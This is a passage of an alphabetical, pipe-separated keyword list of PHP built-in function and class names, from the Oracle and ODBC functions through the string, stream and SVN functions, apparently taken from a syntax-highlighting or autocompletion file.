collection_append|oci_collection_assign|oci_collection_element_assign|oci_collection_element_get|oci_collection_free|oci_collection_max|oci_collection_size|oci_collection_trim|oci_commit|oci_connect|oci_define_by_name|oci_error|oci_execute|oci_fetch|oci_fetch_all|oci_fetch_array|oci_fetch_assoc|oci_fetch_object|oci_fetch_row|oci_field_is_null|oci_field_name|oci_field_precision|oci_field_scale|oci_field_size|oci_field_type|oci_field_type_raw|oci_free_statement|oci_internal_debug|oci_lob_append|oci_lob_close|oci_lob_copy|oci_lob_eof|oci_lob_erase|oci_lob_export|oci_lob_flush|oci_lob_free|oci_lob_getbuffering|oci_lob_import|oci_lob_is_equal|oci_lob_load|oci_lob_read|oci_lob_rewind|oci_lob_save|oci_lob_savefile|oci_lob_seek|oci_lob_setbuffering|oci_lob_size|oci_lob_tell|oci_lob_truncate|oci_lob_write|oci_lob_writetemporary|oci_lob_writetofile|oci_new_collection|oci_new_connect|oci_new_cursor|oci_new_descriptor|oci_num_fields|oci_num_rows|oci_parse|oci_password_change|oci_pconnect|oci_result|oci_rollback|oci_server_version|oci_set_action|oci_set_client_identifier|oci_set_client_info|oci_set_edition|oci_set_module_name|oci_set_prefetch|oci_statement_type|ocibindbyname|ocicancel|ocicloselob|ocicollappend|ocicollassign|ocicollassignelem|ocicollgetelem|ocicollmax|ocicollsize|ocicolltrim|ocicolumnisnull|ocicolumnname|ocicolumnprecision|ocicolumnscale|ocicolumnsize|ocicolumntype|ocicolumntyperaw|ocicommit|ocidefinebyname|ocierror|ociexecute|ocifetch|ocifetchinto|ocifetchstatement|ocifreecollection|ocifreecursor|ocifreedesc|ocifreestatement|ociinternaldebug|ociloadlob|ocilogoff|ocilogon|ocinewcollection|ocinewcursor|ocinewdescriptor|ocinlogon|ocinumcols|ociparse|ociplogon|ociresult|ocirollback|ocirowcount|ocisavelob|ocisavelobfile|ociserverversion|ocisetprefetch|ocistatementtype|ociwritelobtofile|ociwritetemporarylob|octdec|odbc_autocommit|odbc_binmode|odbc_close|odbc_close_all|odbc_columnprivileges|odbc_columns|odbc_commit|odbc_connect|odbc_cursor|odbc_data_source|odbc_do|odbc_error|odbc_errormsg|odbc_exec|odbc_execute|odbc_fetch_array|odbc_fetch_into|odbc_fetch_object|odbc_fetch_row|odbc_field_len|odbc_field_name|odbc_field_num|odbc_field_precision|odbc_field_scale|odbc_field_type|odbc_foreignkeys|odbc_free_result|odbc_gettypeinfo|odbc_longreadlen|odbc_next_result|odbc_num_fields|odbc_num_rows|odbc_pconnect|odbc_prepare|odbc_primarykeys|odbc_procedurecolumns|odbc_procedures|odbc_result|odbc_result_all|odbc_rollback|odbc_setoption|odbc_specialcolumns|odbc_statistics|odbc_tableprivileges|odbc_tables|openal_buffer_create|openal_buffer_data|openal_buffer_destroy|openal_buffer_get|openal_buffer_loadwav|openal_context_create|openal_context_current|openal_context_destroy|openal_context_process|openal_context_suspend|openal_device_close|openal_device_open|openal_listener_get|openal_listener_set|openal_source_create|openal_source_destroy|openal_source_get|openal_source_pause|openal_source_play|openal_source_rewind|openal_source_set|openal_source_stop|openal_stream|opendir|openlog|openssl_cipher_iv_length|openssl_csr_export|openssl_csr_export_to_file|openssl_csr_get_public_key|openssl_csr_get_subject|openssl_csr_new|openssl_csr_sign|openssl_decrypt|openssl_dh_compute_key|openssl_digest|openssl_encrypt|openssl_error_string|openssl_free_key|openssl_get_cipher_methods|openssl_get_md_methods|openssl_get_privatekey|openssl_get_publickey|openssl_open|openssl_pkcs12_export|openssl_pkcs12_export_to_file|openssl_pkcs12_read|openssl_pkcs7_decrypt|openssl_pkcs7_encrypt|openssl_pkcs7_sign|openssl_pkcs7_verify|openssl_pkey_export|openssl_pkey_export_to_file|openssl_pkey_free|openssl_pkey_get_details|openssl_pkey_get_private|openssl_pkey_get_public|openssl_pkey_new|openssl_private_decrypt|openssl_private_encrypt|openssl_public_decrypt|openssl_public_encrypt|openssl_random_pseudo_bytes|openssl_seal|openssl_sign|openssl_verify|openssl_x509_check_private_key|openssl_x509_checkpurpose|openssl_x509_export|openssl_x509_export_to_file|openssl_x509_free|openssl_x509_parse|openssl_x509_read|ord|outeriterator|outofboundsexception|outofrangeexception|output_add_rewrite_var|output_reset_rewrite_vars|overflowexception|overload|override_function|ovrimos_close|ovrimos_commit|ovrimos_connect|ovrimos_cursor|ovrimos_exec|ovrimos_execute|ovrimos_fetch_into|ovrimos_fetch_row|ovrimos_field_len|ovrimos_field_name|ovrimos_field_num|ovrimos_field_type|ovrimos_free_result|ovrimos_longreadlen|ovrimos_num_fields|ovrimos_num_rows|ovrimos_prepare|ovrimos_result|ovrimos_result_all|ovrimos_rollback|pack|parentiterator|parse_ini_file|parse_ini_string|parse_str|parse_url|parsekit_compile_file|parsekit_compile_string|parsekit_func_arginfo|passthru|pathinfo|pclose|pcntl_alarm|pcntl_exec|pcntl_fork|pcntl_getpriority|pcntl_setpriority|pcntl_signal|pcntl_signal_dispatch|pcntl_sigprocmask|pcntl_sigtimedwait|pcntl_sigwaitinfo|pcntl_wait|pcntl_waitpid|pcntl_wexitstatus|pcntl_wifexited|pcntl_wifsignaled|pcntl_wifstopped|pcntl_wstopsig|pcntl_wtermsig|pdf_activate_item|pdf_add_annotation|pdf_add_bookmark|pdf_add_launchlink|pdf_add_locallink|pdf_add_nameddest|pdf_add_note|pdf_add_outline|pdf_add_pdflink|pdf_add_table_cell|pdf_add_textflow|pdf_add_thumbnail|pdf_add_weblink|pdf_arc|pdf_arcn|pdf_attach_file|pdf_begin_document|pdf_begin_font|pdf_begin_glyph|pdf_begin_item|pdf_begin_layer|pdf_begin_page|pdf_begin_page_ext|pdf_begin_pattern|pdf_begin_template|pdf_begin_template_ext|pdf_circle|pdf_clip|pdf_close|pdf_close_image|pdf_close_pdi|pdf_close_pdi_page|pdf_closepath|pdf_closepath_fill_stroke|pdf_closepath_stroke|pdf_concat|pdf_continue_text|pdf_create_3dview|pdf_create_action|pdf_create_annotation|pdf_create_bookmark|pdf_create_field|pdf_create_fieldgroup|pdf_create_gstate|pdf_create_pvf|pdf_create_textflow|pdf_curveto|pdf_define_layer|pdf_delete|pdf_delete_pvf|pdf_delete_table|pdf_delete_textflow|pdf_encoding_set_char|pdf_end_document|pdf_end_font|pdf_end_glyph|pdf_end_item|pdf_end_layer|pdf_end_page|pdf_end_page_ext|pdf_end_pattern|pdf_end_template|pdf_endpath|pdf_fill|pdf_fill_imageblock|pdf_fill_pdfblock|pdf_fill_stroke|pdf_fill_textblock|pdf_findfont|pdf_fit_image|pdf_fit_pdi_page|pdf_fit_table|pdf_fit_textflow|pdf_fit_textline|pdf_get_apiname|pdf_get_buffer|pdf_get_errmsg|pdf_get_errnum|pdf_get_font|pdf_get_fontname|pdf_get_fontsize|pdf_get_image_height|pdf_get_image_width|pdf_get_majorversion|pdf_get_minorversion|pdf_get_parameter|pdf_get_pdi_parameter|pdf_get_pdi_value|pdf_get_value|pdf_info_font|pdf_info_matchbox|pdf_info_table|pdf_info_textflow|pdf_info_textline|pdf_initgraphics|pdf_lineto|pdf_load_3ddata|pdf_load_font|pdf_load_iccprofile|pdf_load_image|pdf_makespotcolor|pdf_moveto|pdf_new|pdf_open_ccitt|pdf_open_file|pdf_open_gif|pdf_open_image|pdf_open_image_file|pdf_open_jpeg|pdf_open_memory_image|pdf_open_pdi|pdf_open_pdi_document|pdf_open_pdi_page|pdf_open_tiff|pdf_pcos_get_number|pdf_pcos_get_stream|pdf_pcos_get_string|pdf_place_image|pdf_place_pdi_page|pdf_process_pdi|pdf_rect|pdf_restore|pdf_resume_page|pdf_rotate|pdf_save|pdf_scale|pdf_set_border_color|pdf_set_border_dash|pdf_set_border_style|pdf_set_char_spacing|pdf_set_duration|pdf_set_gstate|pdf_set_horiz_scaling|pdf_set_info|pdf_set_info_author|pdf_set_info_creator|pdf_set_info_keywords|pdf_set_info_subject|pdf_set_info_title|pdf_set_layer_dependency|pdf_set_leading|pdf_set_parameter|pdf_set_text_matrix|pdf_set_text_pos|pdf_set_text_rendering|pdf_set_text_rise|pdf_set_value|pdf_set_word_spacing|pdf_setcolor|pdf_setdash|pdf_setdashpattern|pdf_setflat|pdf_setfont|pdf_setgray|pdf_setgray_fill|pdf_setgray_stroke|pdf_setlinecap|pdf_setlinejoin|pdf_setlinewidth|pdf_setmatrix|pdf_setmiterlimit|pdf_setpolydash|pdf_setrgbcolor|pdf_setrgbcolor_fill|pdf_setrgbcolor_stroke|pdf_shading|pdf_shading_pattern|pdf_shfill|pdf_show|pdf_show_boxed|pdf_show_xy|pdf_skew|pdf_stringwidth|pdf_stroke|pdf_suspend_page|pdf_translate|pdf_utf16_to_utf8|pdf_utf32_to_utf16|pdf_utf8_to_utf16|pdo|pdo_cubrid_schema|pdo_pgsqllobcreate|pdo_pgsqllobopen|pdo_pgsqllobunlink|pdo_sqlitecreateaggregate|pdo_sqlitecreatefunction|pdoexception|pdostatement|pfsockopen|pg_affected_rows|pg_cancel_query|pg_client_encoding|pg_close|pg_connect|pg_connection_busy|pg_connection_reset|pg_connection_status|pg_convert|pg_copy_from|pg_copy_to|pg_dbname|pg_delete|pg_end_copy|pg_escape_bytea|pg_escape_string|pg_execute|pg_fetch_all|pg_fetch_all_columns|pg_fetch_array|pg_fetch_assoc|pg_fetch_object|pg_fetch_result|pg_fetch_row|pg_field_is_null|pg_field_name|pg_field_num|pg_field_prtlen|pg_field_size|pg_field_table|pg_field_type|pg_field_type_oid|pg_free_result|pg_get_notify|pg_get_pid|pg_get_result|pg_host|pg_insert|pg_last_error|pg_last_notice|pg_last_oid|pg_lo_close|pg_lo_create|pg_lo_export|pg_lo_import|pg_lo_open|pg_lo_read|pg_lo_read_all|pg_lo_seek|pg_lo_tell|pg_lo_unlink|pg_lo_write|pg_meta_data|pg_num_fields|pg_num_rows|pg_options|pg_parameter_status|pg_pconnect|pg_ping|pg_port|pg_prepare|pg_put_line|pg_query|pg_query_params|pg_result_error|pg_result_error_field|pg_result_seek|pg_result_status|pg_select|pg_send_execute|pg_send_prepare|pg_send_query|pg_send_query_params|pg_set_client_encoding|pg_set_error_verbosity|pg_trace|pg_transaction_status|pg_tty|pg_unescape_bytea|pg_untrace|pg_update|pg_version|php_check_syntax|php_ini_loaded_file|php_ini_scanned_files|php_logo_guid|php_sapi_name|php_strip_whitespace|php_uname|phpcredits|phpinfo|phpversion|pi|png2wbmp|popen|pos|posix_access|posix_ctermid|posix_errno|posix_get_last_error|posix_getcwd|posix_getegid|posix_geteuid|posix_getgid|posix_getgrgid|posix_getgrnam|posix_getgroups|posix_getlogin|posix_getpgid|posix_getpgrp|posix_getpid|posix_getppid|posix_getpwnam|posix_getpwuid|posix_getrlimit|posix_getsid|posix_getuid|posix_initgroups|posix_isatty|posix_kill|posix_mkfifo|posix_mknod|posix_setegid|posix_seteuid|posix_setgid|posix_setpgid|posix_setsid|posix_setuid|posix_strerror|posix_times|posix_ttyname|posix_uname|pow|preg_filter|preg_grep|preg_last_error|preg_match|preg_match_all|preg_quote|preg_replace|preg_replace_callback|preg_split|prev|print|print_r|printer_abort|printer_close|printer_create_brush|printer_create_dc|printer_create_font|printer_create_pen|printer_delete_brush|printer_delete_dc|printer_delete_font|printer_delete_pen|printer_draw_bmp|printer_draw_chord|printer_draw_elipse|printer_draw_line|printer_draw_pie|printer_draw_rectangle|printer_draw_roundrect|printer_draw_text|printer_end_doc|printer_end_page|printer_get_option|printer_list|printer_logical_fontheight|printer_open|printer_select_brush|printer_select_font|printer_select_pen|printer_set_option|printer_start_doc|printer_start_page|printer_write|printf|proc_close|proc_get_status|proc_nice|proc_open|proc_terminate|property_exists|ps_add_bookmark|ps_add_launchlink|ps_add_locallink|ps_add_note|ps_add_pdflink|ps_add_weblink|ps_arc|ps_arcn|ps_begin_page|ps_begin_pattern|ps_begin_template|ps_circle|ps_clip|ps_close|ps_close_image|ps_closepath|ps_closepath_stroke|ps_continue_text|ps_curveto|ps_delete|ps_end_page|ps_end_pattern|ps_end_template|ps_fill|ps_fill_stroke|ps_findfont|ps_get_buffer|ps_get_parameter|ps_get_value|ps_hyphenate|ps_include_file|ps_lineto|ps_makespotcolor|ps_moveto|ps_new|ps_open_file|ps_open_image|ps_open_image_file|ps_open_memory_image|ps_place_image|ps_rect|ps_restore|ps_rotate|ps_save|ps_scale|ps_set_border_color|ps_set_border_dash|ps_set_border_style|ps_set_info|ps_set_parameter|ps_set_text_pos|ps_set_value|ps_setcolor|ps_setdash|ps_setflat|ps_setfont|ps_setgray|ps_setlinecap|ps_setlinejoin|ps_setlinewidth|ps_setmiterlimit|ps_setoverprintmode|ps_setpolydash|ps_shading|ps_shading_pattern|ps_shfill|ps_show|ps_show2|ps_show_boxed|ps_show_xy|ps_show_xy2|ps_string_geometry|ps_stringwidth|ps_stroke|ps_symbol|ps_symbol_name|ps_symbol_width|ps_translate|pspell_add_to_personal|pspell_add_to_session|pspell_check|pspell_clear_session|pspell_config_create|pspell_config_data_dir|pspell_config_dict_dir|pspell_config_ignore|pspell_config_mode|pspell_config_personal|pspell_config_repl|pspell_config_runtogether|pspell_config_save_repl|pspell_new|pspell_new_config|pspell_new_personal|pspell_save_wordlist|pspell_store_replacement|pspell_suggest|putenv|px_close|px_create_fp|px_date2string|px_delete|px_delete_record|px_get_field|px_get_info|px_get_parameter|px_get_record|px_get_schema|px_get_value|px_insert_record|px_new|px_numfields|px_numrecords|px_open_fp|px_put_record|px_retrieve_record|px_set_blob_file|px_set_parameter|px_set_tablename|px_set_targetencoding|px_set_value|px_timestamp2string|px_update_record|qdom_error|qdom_tree|quoted_printable_decode|quoted_printable_encode|quotemeta|rad2deg|radius_acct_open|radius_add_server|radius_auth_open|radius_close|radius_config|radius_create_request|radius_cvt_addr|radius_cvt_int|radius_cvt_string|radius_demangle|radius_demangle_mppe_key|radius_get_attr|radius_get_vendor_attr|radius_put_addr|radius_put_attr|radius_put_int|radius_put_string|radius_put_vendor_addr|radius_put_vendor_attr|radius_put_vendor_int|radius_put_vendor_string|radius_request_authenticator|radius_send_request|radius_server_secret|radius_strerror|rand|range|rangeexception|rar_wrapper_cache_stats|rararchive|rarentry|rarexception|rawurldecode|rawurlencode|read_exif_data|readdir|readfile|readgzfile|readline|readline_add_history|readline_callback_handler_install|readline_callback_handler_remove|readline_callback_read_char|readline_clear_history|readline_completion_function|readline_info|readline_list_history|readline_on_new_line|readline_read_history|readline_redisplay|readline_write_history|readlink|realpath|realpath_cache_get|realpath_cache_size|recode|recode_file|recode_string|recursivearrayiterator|recursivecachingiterator|recursivecallbackfilteriterator|recursivedirectoryiterator|recursivefilteriterator|recursiveiterator|recursiveiteratoriterator|recursiveregexiterator|recursivetreeiterator|reflection|reflectionclass|reflectionexception|reflectionextension|reflectionfunction|reflectionfunctionabstract|reflectionmethod|reflectionobject|reflectionparameter|reflectionproperty|reflector|regexiterator|register_shutdown_function|register_tick_function|rename|rename_function|require|require_once|reset|resetValue|resourcebundle|restore_error_handler|restore_exception_handler|restore_include_path|return|rewind|rewinddir|rmdir|round|rpm_close|rpm_get_tag|rpm_is_valid|rpm_open|rpm_version|rrd_create|rrd_error|rrd_fetch|rrd_first|rrd_graph|rrd_info|rrd_last|rrd_lastupdate|rrd_restore|rrd_tune|rrd_update|rrd_xport|rrdcreator|rrdgraph|rrdupdater|rsort|rtrim|runkit_class_adopt|runkit_class_emancipate|runkit_constant_add|runkit_constant_redefine|runkit_constant_remove|runkit_function_add|runkit_function_copy|runkit_function_redefine|runkit_function_remove|runkit_function_rename|runkit_import|runkit_lint|runkit_lint_file|runkit_method_add|runkit_method_copy|runkit_method_redefine|runkit_method_remove|runkit_method_rename|runkit_return_value_used|runkit_sandbox_output_handler|runkit_superglobals|runtimeexception|samconnection_commit|samconnection_connect|samconnection_constructor|samconnection_disconnect|samconnection_errno|samconnection_error|samconnection_isconnected|samconnection_peek|samconnection_peekall|samconnection_receive|samconnection_remove|samconnection_rollback|samconnection_send|samconnection_setDebug|samconnection_subscribe|samconnection_unsubscribe|sammessage_body|sammessage_constructor|sammessage_header|sca_createdataobject|sca_getservice|sca_localproxy_createdataobject|sca_soapproxy_createdataobject|scandir|sdo_das_changesummary_beginlogging|sdo_das_changesummary_endlogging|sdo_das_changesummary_getchangeddataobjects|sdo_das_changesummary_getchangetype|sdo_das_changesummary_getoldcontainer|sdo_das_changesummary_getoldvalues|sdo_das_changesummary_islogging|sdo_das_datafactory_addpropertytotype|sdo_das_datafactory_addtype|sdo_das_datafactory_getdatafactory|sdo_das_dataobject_getchangesummary|sdo_das_relational_applychanges|sdo_das_relational_construct|sdo_das_relational_createrootdataobject|sdo_das_relational_executepreparedquery|sdo_das_relational_executequery|sdo_das_setting_getlistindex|sdo_das_setting_getpropertyindex|sdo_das_setting_getpropertyname|sdo_das_setting_getvalue|sdo_das_setting_isset|sdo_das_xml_addtypes|sdo_das_xml_create|sdo_das_xml_createdataobject|sdo_das_xml_createdocument|sdo_das_xml_document_getrootdataobject|sdo_das_xml_document_getrootelementname|sdo_das_xml_document_getrootelementuri|sdo_das_xml_document_setencoding|sdo_das_xml_document_setxmldeclaration|sdo_das_xml_document_setxmlversion|sdo_das_xml_loadfile|sdo_das_xml_loadstring|sdo_das_xml_savefile|sdo_das_xml_savestring|sdo_datafactory_create|sdo_dataobject_clear|sdo_dataobject_createdataobject|sdo_dataobject_getcontainer|sdo_dataobject_getsequence|sdo_dataobject_gettypename|sdo_dataobject_gettypenamespaceuri|sdo_exception_getcause|sdo_list_insert|sdo_model_property_getcontainingtype|sdo_model_property_getdefault|sdo_model_property_getname|sdo_model_property_gettype|sdo_model_property_iscontainment|sdo_model_property_ismany|sdo_model_reflectiondataobject_construct|sdo_model_reflectiondataobject_export|sdo_model_reflectiondataobject_getcontainmentproperty|sdo_model_reflectiondataobject_getinstanceproperties|sdo_model_reflectiondataobject_gettype|sdo_model_type_getbasetype|sdo_model_type_getname|sdo_model_type_getnamespaceuri|sdo_model_type_getproperties|sdo_model_type_getproperty|sdo_model_type_isabstracttype|sdo_model_type_isdatatype|sdo_model_type_isinstance|sdo_model_type_isopentype|sdo_model_type_issequencedtype|sdo_sequence_getproperty|sdo_sequence_insert|sdo_sequence_move|seekableiterator|sem_acquire|sem_get|sem_release|sem_remove|serializable|serialize|session_cache_expire|session_cache_limiter|session_commit|session_decode|session_destroy|session_encode|session_get_cookie_params|session_id|session_is_registered|session_module_name|session_name|session_pgsql_add_error|session_pgsql_get_error|session_pgsql_get_field|session_pgsql_reset|session_pgsql_set_field|session_pgsql_status|session_regenerate_id|session_register|session_save_path|session_set_cookie_params|session_set_save_handler|session_start|session_unregister|session_unset|session_write_close|setCounterClass|set_error_handler|set_exception_handler|set_file_buffer|set_include_path|set_magic_quotes_runtime|set_socket_blocking|set_time_limit|setcookie|setlocale|setproctitle|setrawcookie|setstaticpropertyvalue|setthreadtitle|settype|sha1|sha1_file|shell_exec|shm_attach|shm_detach|shm_get_var|shm_has_var|shm_put_var|shm_remove|shm_remove_var|shmop_close|shmop_delete|shmop_open|shmop_read|shmop_size|shmop_write|show_source|shuffle|signeurlpaiement|similar_text|simplexml_import_dom|simplexml_load_file|simplexml_load_string|simplexmlelement|simplexmliterator|sin|sinh|sizeof|sleep|snmp|snmp2_get|snmp2_getnext|snmp2_real_walk|snmp2_set|snmp2_walk|snmp3_get|snmp3_getnext|snmp3_real_walk|snmp3_set|snmp3_walk|snmp_get_quick_print|snmp_get_valueretrieval|snmp_read_mib|snmp_set_enum_print|snmp_set_oid_numeric_print|snmp_set_oid_output_format|snmp_set_quick_print|snmp_set_valueretrieval|snmpget|snmpgetnext|snmprealwalk|snmpset|snmpwalk|snmpwalkoid|soapclient|soapfault|soapheader|soapparam|soapserver|soapvar|socket_accept|socket_bind|socket_clear_error|socket_close|socket_connect|socket_create|socket_create_listen|socket_create_pair|socket_get_option|socket_get_status|socket_getpeername|socket_getsockname|socket_last_error|socket_listen|socket_read|socket_recv|socket_recvfrom|socket_select|socket_send|socket_sendto|socket_set_block|socket_set_blocking|socket_set_nonblock|socket_set_option|socket_set_timeout|socket_shutdown|socket_strerror|socket_write|solr_get_version|solrclient|solrclientexception|solrdocument|solrdocumentfield|solrexception|solrgenericresponse|solrillegalargumentexception|solrillegaloperationexception|solrinputdocument|solrmodifiableparams|solrobject|solrparams|solrpingresponse|solrquery|solrqueryresponse|solrresponse|solrupdateresponse|solrutils|sort|soundex|sphinxclient|spl_autoload|spl_autoload_call|spl_autoload_extensions|spl_autoload_functions|spl_autoload_register|spl_autoload_unregister|spl_classes|spl_object_hash|splbool|spldoublylinkedlist|splenum|splfileinfo|splfileobject|splfixedarray|splfloat|splheap|splint|split|spliti|splmaxheap|splminheap|splobjectstorage|splobserver|splpriorityqueue|splqueue|splstack|splstring|splsubject|spltempfileobject|spoofchecker|sprintf|sql_regcase|sqlite3|sqlite3result|sqlite3stmt|sqlite_array_query|sqlite_busy_timeout|sqlite_changes|sqlite_close|sqlite_column|sqlite_create_aggregate|sqlite_create_function|sqlite_current|sqlite_error_string|sqlite_escape_string|sqlite_exec|sqlite_factory|sqlite_fetch_all|sqlite_fetch_array|sqlite_fetch_column_types|sqlite_fetch_object|sqlite_fetch_single|sqlite_fetch_string|sqlite_field_name|sqlite_has_more|sqlite_has_prev|sqlite_key|sqlite_last_error|sqlite_last_insert_rowid|sqlite_libencoding|sqlite_libversion|sqlite_next|sqlite_num_fields|sqlite_num_rows|sqlite_open|sqlite_popen|sqlite_prev|sqlite_query|sqlite_rewind|sqlite_seek|sqlite_single_query|sqlite_udf_decode_binary|sqlite_udf_encode_binary|sqlite_unbuffered_query|sqlite_valid|sqrt|srand|sscanf|ssdeep_fuzzy_compare|ssdeep_fuzzy_hash|ssdeep_fuzzy_hash_filename|ssh2_auth_hostbased_file|ssh2_auth_none|ssh2_auth_password|ssh2_auth_pubkey_file|ssh2_connect|ssh2_exec|ssh2_fetch_stream|ssh2_fingerprint|ssh2_methods_negotiated|ssh2_publickey_add|ssh2_publickey_init|ssh2_publickey_list|ssh2_publickey_remove|ssh2_scp_recv|ssh2_scp_send|ssh2_sftp|ssh2_sftp_lstat|ssh2_sftp_mkdir|ssh2_sftp_readlink|ssh2_sftp_realpath|ssh2_sftp_rename|ssh2_sftp_rmdir|ssh2_sftp_stat|ssh2_sftp_symlink|ssh2_sftp_unlink|ssh2_shell|ssh2_tunnel|stat|stats_absolute_deviation|stats_cdf_beta|stats_cdf_binomial|stats_cdf_cauchy|stats_cdf_chisquare|stats_cdf_exponential|stats_cdf_f|stats_cdf_gamma|stats_cdf_laplace|stats_cdf_logistic|stats_cdf_negative_binomial|stats_cdf_noncentral_chisquare|stats_cdf_noncentral_f|stats_cdf_poisson|stats_cdf_t|stats_cdf_uniform|stats_cdf_weibull|stats_covariance|stats_den_uniform|stats_dens_beta|stats_dens_cauchy|stats_dens_chisquare|stats_dens_exponential|stats_dens_f|stats_dens_gamma|stats_dens_laplace|stats_dens_logistic|stats_dens_negative_binomial|stats_dens_normal|stats_dens_pmf_binomial|stats_dens_pmf_hypergeometric|stats_dens_pmf_poisson|stats_dens_t|stats_dens_weibull|stats_harmonic_mean|stats_kurtosis|stats_rand_gen_beta|stats_rand_gen_chisquare|stats_rand_gen_exponential|stats_rand_gen_f|stats_rand_gen_funiform|stats_rand_gen_gamma|stats_rand_gen_ibinomial|stats_rand_gen_ibinomial_negative|stats_rand_gen_int|stats_rand_gen_ipoisson|stats_rand_gen_iuniform|stats_rand_gen_noncenral_chisquare|stats_rand_gen_noncentral_f|stats_rand_gen_noncentral_t|stats_rand_gen_normal|stats_rand_gen_t|stats_rand_get_seeds|stats_rand_phrase_to_seeds|stats_rand_ranf|stats_rand_setall|stats_skew|stats_standard_deviation|stats_stat_binomial_coef|stats_stat_correlation|stats_stat_gennch|stats_stat_independent_t|stats_stat_innerproduct|stats_stat_noncentral_t|stats_stat_paired_t|stats_stat_percentile|stats_stat_powersum|stats_variance|stomp|stomp_connect_error|stomp_version|stompexception|stompframe|str_getcsv|str_ireplace|str_pad|str_repeat|str_replace|str_rot13|str_shuffle|str_split|str_word_count|strcasecmp|strchr|strcmp|strcoll|strcspn|stream_bucket_append|stream_bucket_make_writeable|stream_bucket_new|stream_bucket_prepend|stream_context_create|stream_context_get_default|stream_context_get_options|stream_context_get_params|stream_context_set_default|stream_context_set_option|stream_context_set_params|stream_copy_to_stream|stream_encoding|stream_filter_append|stream_filter_prepend|stream_filter_register|stream_filter_remove|stream_get_contents|stream_get_filters|stream_get_line|stream_get_meta_data|stream_get_transports|stream_get_wrappers|stream_is_local|stream_notification_callback|stream_register_wrapper|stream_resolve_include_path|stream_select|stream_set_blocking|stream_set_read_buffer|stream_set_timeout|stream_set_write_buffer|stream_socket_accept|stream_socket_client|stream_socket_enable_crypto|stream_socket_get_name|stream_socket_pair|stream_socket_recvfrom|stream_socket_sendto|stream_socket_server|stream_socket_shutdown|stream_supports_lock|stream_wrapper_register|stream_wrapper_restore|stream_wrapper_unregister|streamwrapper|strftime|strip_tags|stripcslashes|stripos|stripslashes|stristr|strlen|strnatcasecmp|strnatcmp|strncasecmp|strncmp|strpbrk|strpos|strptime|strrchr|strrev|strripos|strrpos|strspn|strstr|strtok|strtolower|strtotime|strtoupper|strtr|strval|substr|substr_compare|substr_count|substr_replace|svm|svmmodel|svn_add|svn_auth_get_parameter|svn_auth_set_parameter|svn_blame|svn_cat|svn_checkout|svn_cleanup|svn_client_version|svn_commit|svn_delete|svn_diff|svn_export|svn_fs_abort_txn|svn_fs_apply_text|svn_fs_begin_txn2|svn_fs_change_node_prop|svn_fs_check_path|svn_fs_contents_changed|svn_fs_copy|svn_fs_delete|svn_fs_dir_entries|svn_fs_file_contents|svn_fs_file_length|svn_fs_is_dir|svn_fs_is_file|svn_fs_make_dir|svn_fs_make_file|svn_fs_node_created_rev|svn_fs_node_prop|svn_fs_props_changed|svn_fs_revision_prop|svn_fs_revision_root|svn_fs_txn_root|svn_fs_youngest_rev|svn_import|svn_log|svn_ls|svn_mkdir|svn_repos_create|svn_repos_fs|svn_repos_fs_begin_txn_for_commit|svn_repos_fs_commit_txn|svn_repos_hotcopy|svn_repos_open|svn_repos_recover|svn_revert|svn_status|svn_update|swf_actiongeturl|swf_actiongotoframe|swf_actiongotolabel|swf_actionnextframe|swf_actionplay|swf_actionprevframe|swf_actionsettarget|swf_actionstop|swf_actiontogglequality|swf_actionwaitforframe|swf_addbuttonrecord|swf_addcolor|swf_closefile|swf_definebitmap|swf_definefont|swf_defineline|swf_definepoly|swf_definerect|swf_definetext|swf_endbutton|swf_enddoaction|swf_endshape|swf_endsymbol|swf_fontsize|swf_fontslant|swf_fonttracking|swf_getbitmapinfo|swf_getfontinfo|swf_getframe|swf_labelframe|swf_lookat|swf_modifyobject|swf_mulcolor|swf_nextid|swf_oncondition|swf_openfile|swf_ortho|swf_ortho2|swf_perspective|swf_placeobject|swf_polarview|swf_popmatrix|swf_posround|swf_pushmatrix|swf_removeobject|swf_rotate|swf_scale|swf_setfont|swf_setframe|swf_shapearc|swf_shapecurveto|swf_shapecurveto3|swf_shapefillbitmapclip|swf_shapefillbitmaptile|swf_shapefilloff|swf_shapefillsolid|swf_shapelinesolid|swf_shapelineto|swf_shapemoveto|swf_showframe|swf_startbutton|swf_startdoaction|swf_startshape|swf_startsymbol|swf_textwidth|swf_translate|swf_viewport|swfaction|swfbitmap|swfbutton|swfdisplayitem|swffill|swffont|swffontchar|swfgradient|swfmorph|swfmovie|swfprebuiltclip|swfshape|swfsound|swfsoundinstance|swfsprite|swftext|swftextfield|swfvideostream|swish_construct|swish_getmetalist|swish_getpropertylist|swish_prepare|swish_query|swishresult_getmetalist|swishresult_stem|swishresults_getparsedwords|swishresults_getremovedstopwords|swishresults_nextresult|swishresults_seekresult|swishsearch_execute|swishsearch_resetlimit|swishsearch_setlimit|swishsearch_setphrasedelimiter|swishsearch_setsort|swishsearch_setstructure|sybase_affected_rows|sybase_close|sybase_connect|sybase_data_seek|sybase_deadlock_retry_count|sybase_fetch_array|sybase_fetch_assoc|sybase_fetch_field|sybase_fetch_object|sybase_fetch_row|sybase_field_seek|sybase_free_result|sybase_get_last_message|sybase_min_client_severity|sybase_min_error_severity|sybase_min_message_severity|sybase_min_server_severity|sybase_num_fields|sybase_num_rows|sybase_pconnect|sybase_query|sybase_result|sybase_select_db|sybase_set_message_handler|sybase_unbuffered_query|symlink|sys_get_temp_dir|sys_getloadavg|syslog|system|tag|tan|tanh|tcpwrap_check|tempnam|textdomain|tidy|tidy_access_count|tidy_config_count|tidy_diagnose|tidy_error_count|tidy_get_error_buffer|tidy_get_output|tidy_load_config|tidy_reset_config|tidy_save_config|tidy_set_encoding|tidy_setopt|tidy_warning_count|tidynode|time|time_nanosleep|time_sleep_until|timezone_abbreviations_list|timezone_identifiers_list|timezone_location_get|timezone_name_from_abbr|timezone_name_get|timezone_offset_get|timezone_open|timezone_transitions_get|timezone_version_get|tmpfile|token_get_all|token_name|tokyotyrant|tokyotyrantquery|tokyotyranttable|tostring|tostring|touch|transliterator|traversable|trigger_error|trim|uasort|ucfirst|ucwords|udm_add_search_limit|udm_alloc_agent|udm_alloc_agent_array|udm_api_version|udm_cat_list|udm_cat_path|udm_check_charset|udm_check_stored|udm_clear_search_limits|udm_close_stored|udm_crc32|udm_errno|udm_error|udm_find|udm_free_agent|udm_free_ispell_data|udm_free_res|udm_get_doc_count|udm_get_res_field|udm_get_res_param|udm_hash32|udm_load_ispell_data|udm_open_stored|udm_set_agent_param|uksort|umask|underflowexception|unexpectedvalueexception|uniqid|unixtojd|unlink|unpack|unregister_tick_function|unserialize|unset|urldecode|urlencode|use_soap_error_handler|user_error|usleep|usort|utf8_decode|utf8_encode|v8js|v